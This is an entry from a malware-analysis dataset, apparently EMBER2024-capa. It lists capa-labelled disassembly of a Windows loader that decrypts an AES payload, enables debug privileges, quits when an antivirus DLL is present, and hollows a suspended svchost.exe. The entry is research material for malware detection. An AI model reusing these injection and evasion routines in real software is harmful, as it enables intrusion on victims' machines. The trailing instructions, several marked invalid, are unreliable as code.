joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800014d4
Capabilities:
Encode data using xor
Encrypt data using aes
Encrypt data using rc4 prga
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov cl, 0xa
call fcn.180001200
mov rbx, qword [0x1800277e0]
lea rbp, [0x1800219e0]
mov dil, 9
mov esi, 4
mov al, byte [rbx + 9]
mov rdx, rbx
mov cl, byte [rbx + 0xd]
mov r9, rsi
mov byte [rbx + 0xd], al
mov al, byte [rbx + 5]
mov byte [rbx + 9], al
mov al, byte [rbx + 1]
mov byte [rbx + 5], al
mov al, byte [rbx + 0xa]
mov byte [rbx + 1], cl
mov cl, byte [rbx + 2]
mov byte [rbx + 2], al
mov al, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
mov cl, byte [rbx + 6]
mov byte [rbx + 6], al
mov al, byte [rbx + 7]
mov byte [rbx + 0xe], cl
mov cl, byte [rbx + 3]
mov byte [rbx + 3], al
mov al, byte [rbx + 0xb]
mov byte [rbx + 7], al
mov al, byte [rbx + 0xf]
mov byte [rbx + 0xb], al
mov byte [rbx + 0xf], cl
mov rcx, rdx
mov r8, rsi
movzx eax, byte [rcx]
mov al, byte [rax + rbp]
mov byte [rcx], al
add rcx, rsi
sub r8, 1
jne 0x180001559
inc rdx
sub r9, 1
jne 0x180001553
mov cl, dil
call fcn.180001200
call fcn.180001248
add dil, 0xff
jne 0x180001505
mov al, byte [rbx + 9]
mov r8, rsi
mov cl, byte [rbx + 0xd]
mov byte [rbx + 0xd], al
mov al, byte [rbx + 5]
mov byte [rbx + 9], al
mov al, byte [rbx + 1]
mov byte [rbx + 5], al
mov al, byte [rbx + 0xa]
mov byte [rbx + 1], cl
mov cl, byte [rbx + 2]
mov byte [rbx + 2], al
mov al, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
mov cl, byte [rbx + 6]
mov byte [rbx + 6], al
mov al, byte [rbx + 7]
mov byte [rbx + 0xe], cl
mov cl, byte [rbx + 3]
mov byte [rbx + 3], al
mov al, byte [rbx + 0xb]
mov byte [rbx + 7], al
mov al, byte [rbx + 0xf]
mov byte [rbx + 0xb], al
mov byte [rbx + 0xf], cl
mov rcx, rbx
mov rdx, rsi
movzx eax, byte [rcx]
mov al, byte [rax + rbp]
mov byte [rcx], al
add rcx, rsi
sub rdx, 1
jne 0x1800015db
inc rbx
sub r8, 1
jne 0x1800015d5
xor ecx, ecx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
jmp fcn.180001200

Function at 0x180001674
Capabilities:
Accept command line arguments
Create process on windows
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.1800025f4
call fcn.180002278
test al, al
je 0x1800016dd
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
test rax, rax
je 0x1800016b8
lea rdx, str.xload
mov rcx, rax
call fcn.180004920
test rax, rax
je 0x1800016b8
call fcn.1800016e4
call fcn.180001f88
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.180001db0
call fcn.180001af4
test al, al
je 0x1800016dd
mov edx, 1
lea rcx, str.C:WindowsSystem32_notepad.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.1800019c4
xor eax, eax
add rsp, 0x28
ret
Function at 0x180001af4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0xa8]
sub rsp, 0x190
mov rax, qword [0x180025018]
xor rax, rsp
mov qword [rbp + 0x80], rax
xor r15d, r15d
lea rcx, [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x20], r15
mov r8d, 0x104
call fcn.180004f30
mov r9, qword [str.Z3D7428DFE3965FF0fcv]
lea r8, [0x180025cc0]
lea rdx, str._s_s
lea rcx, [rsp + 0x70]
call fcn.180001618
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x70]
call fcn.18000213c
mov rbx, rax
test rax, rax
jne 0x180001b7e
xor al, al
jmp 0x180001cba
mov r14d, 0xa
xor edx, edx
mov r8d, r14d
mov rcx, rbx
call fcn.180006ef4
test al, 0xf
je 0x180001b9b
add eax, 0x10
and eax, 0xfffffff0
add eax, 0x10
cmp eax, dword [rsp + 0x20]
jne 0x180001cba
mov r8d, r14d
xor edx, edx
mov rcx, rbx
call fcn.180006ef4
mov esi, eax
test al, 0xf
jne 0x180001bbf
mov edi, esi
jmp 0x180001bc5
lea edi, [rsi + 0x10]
and edi, 0xfffffff0
lea rcx, [rbx + 0x10]
mov qword [rsp + 0x20], r15
mov r9d, edi
lea r8, [rsp + 0x20]
call fcn.180001ce8
cmp eax, edi
je 0x180001bf3
mov rcx, rbx
call fcn.180008b6c
mov rcx, qword [rsp + 0x20]
call fcn.180008b6c
jmp 0x180001b77
lea rcx, [rbx + 8]
mov r8d, r14d
xor edx, edx
call fcn.180006ef4
mov r14d, eax
mov rdi, rsi
sub rdi, r14
add rdi, qword [rsp + 0x20]
cmp byte [rdi], 0x4d
je 0x180001c1a
cmp byte [rdi + 1], 0x5a
jne 0x180001bdf
mov rcx, rbx
call fcn.180008b6c
mov dword [rsp + 0x30], 0x3a0043
mov dword [rsp + 0x34], 0x57005c
mov dword [rsp + 0x38], 0x6e0069
mov dword [rsp + 0x3c], 0x6f0064
mov dword [rsp + 0x40], 0x730077
mov dword [rsp + 0x44], 0x53005c
mov dword [rsp + 0x48], 0x730079
mov dword [rsp + 0x4c], 0x650074
mov dword [rsp + 0x50], 0x33006d
mov dword [rsp + 0x54], 0x5c0032
mov dword [rsp + 0x58], 0x760073
mov dword [rsp + 0x5c], 0x680063
mov dword [rsp + 0x60], 0x73006f
mov dword [rsp + 0x64], 0x2e0074
mov dword [rsp + 0x68], 0x780065
mov dword [rsp + 0x6c], 0x65
call fcn.180002e60
mov r9d, eax
lea rcx, [rsp + 0x30]
mov r8d, r14d
mov rdx, rdi
call fcn.1800031d4
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.1800038d0
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x180001db0
Capabilities:
Acquire debug privileges

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x180025018]
xor rax, rsp
mov qword [rbp - 8], rax
call qword [0x180027798]
lea r8, [rbp - 0x20]
mov edx, 0x28
mov rcx, rax
call qword [0x180027628]
xor esi, esi
test eax, eax
je 0x180001f5e
lea r8, [rbp - 0x14]
xor ecx, ecx
lea rdx, str.SeShutdownPrivilege
call qword [0x180027630]
mov rcx, qword [rbp - 0x20]
lea ebx, [rsi + 0x10]
lea r14d, [rsi + 1]
mov qword [rsp + 0x28], rsi
lea edi, [rsi + 2]
mov dword [rbp - 0x18], r14d
mov r9d, ebx
mov dword [rbp - 0xc], edi
lea r8, [rbp - 0x18]
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [0x180027778]
lea r8, [rbp - 0x14]
xor ecx, ecx
lea rdx, str.SeRestorePrivilege
call qword [0x180027630]
mov rcx, qword [rbp - 0x20]
lea r8, [rbp - 0x18]
mov r9d, ebx
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rbp - 0x18], r14d
mov dword [rbp - 0xc], edi
mov qword [rsp + 0x20], rsi
call qword [0x180027778]
lea r8, [rbp - 0x14]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [0x180027630]
mov rcx, qword [rbp - 0x20]
lea r8, [rbp - 0x18]
mov r9d, ebx
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rbp - 0x18], r14d
mov dword [rbp - 0xc], edi
mov qword [rsp + 0x20], rsi
call qword [0x180027778]
lea r8, [rbp - 0x14]
xor ecx, ecx
lea rdx, str.SeLoadDriverPrivilege
call qword [0x180027630]
mov rcx, qword [rbp - 0x20]
lea r8, [rbp - 0x18]
mov r9d, ebx
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rbp - 0x18], r14d
mov dword [rbp - 0xc], edi
mov qword [rsp + 0x20], rsi
call qword [0x180027778]
lea r8, [rbp - 0x14]
xor ecx, ecx
lea rdx, str.SeIncreaseQuotaPrivilege
call qword [0x180027630]
mov rcx, qword [rbp - 0x20]
lea r8, [rbp - 0x18]
mov r9d, ebx
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rbp - 0x18], r14d
mov dword [rbp - 0xc], edi
mov qword [rsp + 0x20], rsi
call qword [0x180027778]
lea r8, [rbp - 0x14]
xor ecx, ecx
lea rdx, str.SeAssignPrimaryTokenPrivilege
call qword [0x180027630]
mov rcx, qword [rbp - 0x20]
lea r8, [rbp - 0x18]
mov r9d, ebx
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rbp - 0x18], r14d
mov dword [rbp - 0xc], edi
mov qword [rsp + 0x20], rsi
call qword [0x180027778]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x180001f5e
mov eax, r14d
jmp 0x180001f61
or eax, 0xffffffff
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1800038d0
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret
Function at 0x180001f88
Capabilities:
Create process on windows
Set current directory
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rsi
push rbp
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x180025018]
xor rax, rsp
mov qword [rbp + 0x200], rax
lea rcx, [0x180025cc0]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
xor esi, esi
test eax, eax
je 0x180002111
xor edx, edx
lea rcx, [rbp - 0x20]
mov r8d, 0x104
call fcn.180004f30
mov r9, qword [str.chhckt_dwknf0dcv]
lea r8, [0x180025cc0]
lea rdx, str._s_s
lea rcx, [rbp - 0x20]
call fcn.180001618
lea r8, [0x180022070]
mov qword [rsp + 0x50], rsi
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x50]
call fcn.18000601c
mov r9, qword [rsp + 0x50]
test r9, r9
je 0x180002111
lea rcx, [0x180025db0]
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rcx + rdx], sil
jne 0x180002027
inc rdx
mov r8d, 1
call fcn.1800072e8
mov rcx, qword [rsp + 0x50]
call fcn.1800063a4
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call fcn.180004f30
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
mov dword [rbp - 0x54], 1
xor edx, edx
mov qword [rsp + 0x68], rax
mov r8d, 0x104
mov word [rbp - 0x50], si
lea rcx, [rbp + 0xf0]
movups xmmword [rsp + 0x58], xmm0
call fcn.180004f30
mov r9, qword [str.chhckt_dwknf0dcv]
lea r8, [0x180025cc0]
lea rdx, str.cmd__c_call___s_s_
lea rcx, [rbp + 0xf0]
call fcn.180001618
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0xf0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18000211a
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.1800038d0
mov rsi, qword [rsp + 0x320]
add rsp, 0x310
pop rbp
ret
Function at 0x18000258c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
cmp edx, 1
jne 0x1800025d9
lea rbx, str.snxhk.dll
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x1800025e9
add rbx, 8
lea rax, str.hqpvu
cmp rbx, rax
jl 0x1800025a5
mov r8d, 0x104
lea rdx, [0x180027660]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rbx, qword [rsp + 0x30]
mov eax, 1
add rsp, 0x20
pop rdi
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x180002e60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov rax, qword [0x180025018]
xor rax, rsp
mov qword [rbp + 0x47], rax
lea rcx, str.WTSAPI32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movdqa xmm0, xmmword [0x180022210]
lea rdx, [rbp + 0x1f]
movdqu xmmword [rbp + 0x1f], xmm0
mov rcx, rax
mov rbx, rax
movdqa xmm0, xmmword [str.sesA]
movdqu xmmword [rbp + 0x31], xmm0
mov word [rbp + 0x2f], 0x7365
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov dword [rbp - 9], 0x46535457
mov rdi, rax
mov dword [rbp - 5], 0x4d656572
xor eax, eax
mov dword [rbp - 1], 0x726f6d65
lea rdx, [rbp - 9]
mov dword [rbp + 0x14], eax
mov rcx, rbx
mov byte [rbp + 0x18], al
mov byte [rbp + 3], 0x79
movups xmmword [rbp + 4], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
mov r14, rax
test rdi, rdi
je 0x180002f90
test rax, rax
je 0x180002f90
lea rax, [rbp - 0x21]
mov qword [rbp - 0x29], rbx
lea r9, [rbp - 0x29]
mov qword [rsp + 0x20], rax
xor edx, edx
mov dword [rbp - 0x21], ebx
xor ecx, ecx
lea r8d, [rbx + 1]
call rdi
test eax, eax
je 0x180002f8c
mov edi, ebx
mov dword [rbp - 0x19], 0x6f6f7073
mov dword [rbp - 0x15], 0x2e76736c
mov dword [rbp - 0x11], 0x657865
cmp dword [rbp - 0x21], ebx
jbe 0x180002f85
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp - 0x19]
mov esi, edi
lea rax, [rsi + rsi*2]
mov rcx, qword [rcx + rax*8 + 8]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x180002f79
inc edi
cmp edi, dword [rbp - 0x21]
jb 0x180002f53
jmp 0x180002f85
mov rax, qword [rbp - 0x29]
lea rcx, [rsi + rsi*2]
mov ebx, dword [rax + rcx*8 + 4]
mov rcx, qword [rbp - 0x29]
call r14
mov eax, ebx
jmp 0x180002f92
xor eax, eax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1800038d0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180003070
Capabilities:
Parse pe header

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x6f8]
sub rsp, 0x7f8
mov rax, qword [0x180025018]
xor rax, rsp
mov qword [rbp + 0x6e0], rax
movzx esi, r9b
mov rdi, r8
mov qword [rsp + 0x30], rdx
test rcx, rcx
je 0x1800030cc
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800030cc
cmp dword [rcx + 0x3c], 0x400
jg 0x1800030cc
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1800030cc
mov ecx, dword [rax + rcx + 0x28]
jmp 0x1800030ce
xor ecx, ecx
mov ebx, ecx
add rbx, rdx
xor edx, edx
test r9b, r9b
je 0x18000311d
mov r8d, 0x2c8
lea rcx, [rsp + 0x44]
call fcn.180004f30
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x100002
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x1800031b6
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0x40]
mov dword [rbp - 0x10], ebx
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
jmp 0x180003166
mov r8d, 0x4d0
lea rcx, [rbp + 0x210]
call fcn.180004f30
mov rcx, qword [rdi + 8]
lea rdx, [rbp + 0x210]
mov dword [rbp + 0x240], 0x100002
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1800031b6
mov rcx, qword [rdi + 8]
lea rdx, [rbp + 0x210]
mov qword [rbp + 0x290], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1800031b6
mov dl, sil
mov rcx, rdi
call fcn.180002fbc
test rax, rax
je 0x1800031b6
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x30]
mov rcx, qword [rdi]
mov rdx, rsi
xor rdx, 1
lea r9, [rdx*4 + 4]
inc rdx
lea rdx, [rax + rdx*8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800031b6
mov al, 1
jmp 0x1800031b8
xor al, al
mov rcx, qword [rbp + 0x6e0]
xor rcx, rsp
call fcn.1800038d0
add rsp, 0x7f8
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1800031d4
Capabilities:
Get common file path
Parse pe header
Resume thread

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x588]
sub rsp, 0x688
mov rax, qword [0x180025018]
xor rax, rsp
mov qword [rbp + 0x570], rax
mov ebx, r8d
mov rsi, rdx
mov r14, rcx
mov edi, 0x208
mov r8d, edi
lea rcx, [rbp + 0x360]
xor edx, edx
mov r12d, r9d
call fcn.180004f30
mov r8d, edi
lea rcx, [rbp + 0x150]
xor edx, edx
call fcn.180004f30
lea rdx, [rbp + 0x150]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0x360]
xor r8d, r8d
lea rdx, [0x180022128]
lea rcx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov r8d, ebx
lea rcx, [rbp + 0x360]
mov rdx, rsi
call fcn.180003660
mov r15, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1800033aa
mov r8d, edi
lea rcx, [rsp + 0x40]
xor edx, edx
call fcn.180004f30
or rbx, 0xffffffffffffffff
mov rdi, rbx
xor r13d, r13d
inc rdi
cmp word [r14 + rdi*2], r13w
jne 0x1800032a0
add rdi, rdi
lea rcx, [rsp + 0x40]
mov r8, rdi
xor edx, edx
call fcn.180004f30
mov r8, rdi
lea rcx, [rsp + 0x40]
mov rdx, r14
call fcn.1800058e0
lea rax, [rsp + 0x40]
inc rbx
cmp word [rax + rbx*2], r13w
jne 0x1800032d1
sub rbx, 2
cmp word [rsp + rbx*2 + 0x40], 0x5c
je 0x1800032f4
cmp word [rsp + rbx*2 + 0x40], 0x2f
je 0x1800032f4
dec rbx
jmp 0x1800032df
lea rax, [rsp + 0x42]
lea rax, [rax + rbx*2]
test rax, rax
je 0x180003306
mov word [rax], r13w
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.180008cd8
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
xor eax, eax
mov r8d, r12d
mov rdx, r14
mov qword [rsp + 0x30], rax
movups xmmword [rsp + 0x20], xmm0
call fcn.1800033d0
test al, al
je 0x1800033aa
mov rcx, qword [rsp + 0x20]
mov rdx, r15
call fcn.1800035ac
mov rdx, rax
test rax, rax
je 0x1800033aa
test rsi, rsi
je 0x180003379
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x180003379
cmp dword [rsi + 0x3c], 0x400
jg 0x180003379
movsxd rax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x180003379
movzx ecx, word [rax + rsi + 0x18]
jmp 0x18000337c
mov ecx, r13d
mov r8d, 0x20b
cmp cx, r8w
lea r8, [rsp + 0x20]
mov rcx, rsi
setne r9b
call fcn.180003070
test al, al
je 0x1800033aa
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
jmp 0x1800033ac
xor al, al
mov rcx, qword [rbp + 0x570]
xor rcx, rsp
call fcn.1800038d0
add rsp, 0x688
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1800033d0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x180025018]
xor rax, rsp
mov qword [rbp + 0x30], rax
xor r14d, r14d
mov rdi, rdx
mov rbx, rcx
mov qword [rsp + 0x68], r14
mov ecx, 0x1fffff
lea edx, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r8, [rsp + 0x68]
mov edx, 0x2000000
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18000358f
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea r9d, [r14 + 2]
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, 0xf01ff
mov qword [rsp + 0x60], r14
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x180003584
cmp qword [rsp + 0x60], r14
je 0x180003584
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.CreateProcessInternalW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800277c8], rax
test rax, rax
je 0x18000358f
lea esi, [r14 + 0x68]
xor edx, edx
mov r8d, esi
lea rcx, [rsp + 0x70]
call fcn.180004f30
mov rcx, qword [rsp + 0x60]
lea rax, str.WinSta0Default
mov qword [rsp + 0x50], rbx
lea r8, [rbp - 0x20]
mov qword [rbp - 0x80], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
mov dword [rsp + 0x70], esi
mov qword [rsp + 0x48], rax
mov rdx, rdi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], 4
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov word [rbp - 0x50], r14w
mov dword [rbp - 0x54], 1
mov dword [rbp - 0x20], 0x430022
mov dword [rbp - 0x1c], 0x5c003a
mov dword [rbp - 0x18], 0x690057
mov dword [rbp - 0x14], 0x64006e
mov dword [rbp - 0x10], 0x77006f
mov dword [rbp - 0xc], 0x5c0073
mov dword [rbp - 8], 0x790053
mov dword [rbp - 4], 0x740073
mov dword [rbp], 0x6d0065
mov dword [rbp + 4], 0x320033
mov dword [rbp + 8], 0x73005c
mov dword [rbp + 0xc], 0x630076
mov dword [rbp + 0x10], 0x6f0068
mov dword [rbp + 0x14], 0x740073
mov dword [rbp + 0x18], 0x65002e
mov dword [rbp + 0x1c], 0x650078
mov dword [rbp + 0x20], 0x22
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x18000358f
mov al, 1
jmp 0x180003591
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.1800038d0
add rsp, 0x140
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140008230
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140008251
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000827e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140008280
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1400082d9
test ecx, ecx
jle 0x1400082b9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1400082d9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400082d9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
and dword [rsi + rdi*8], edi
pop rcx
shr byte [rdi], 0x2d
invalid
sub eax, 0x6d610d69
invalid
mov eax, edx
invalid
add dword [rax - 0x5f], ebp
adc al, 0xc6
invalid
invalid
push rdx
in al, 0xe7
xchg edi, eax
ret 0xa548
Function at 0x140008300
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140008322
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140008331
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140008354
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140008356
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140008392
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000842e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1400083cd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000840e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000842e
cmp rbx, rax
ja 0x1400083e0
test rbx, rbx
je 0x14000842e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
mov edx, 0x76b00ba9
cld
jl 0x140020abe
sbb al, 0x3d
jnp 0xf74918b4
pushfq
push rbp
push rax
push rsi
int1
and al, 0x4b
rcr byte [rsi + 0x650dc778], 1
movsb byte [rdi], byte [rsi]
sub esi, ecx
lahf
add al, 0
mov bh, 0xc8
out 0x22, eax
invalid
movabs dword [0xd8232a3108b6f0e9], eax
or byte [rcx], dh
sub ah, byte [rbx]
fcom dword [rbp + riz*4 + 0x2f]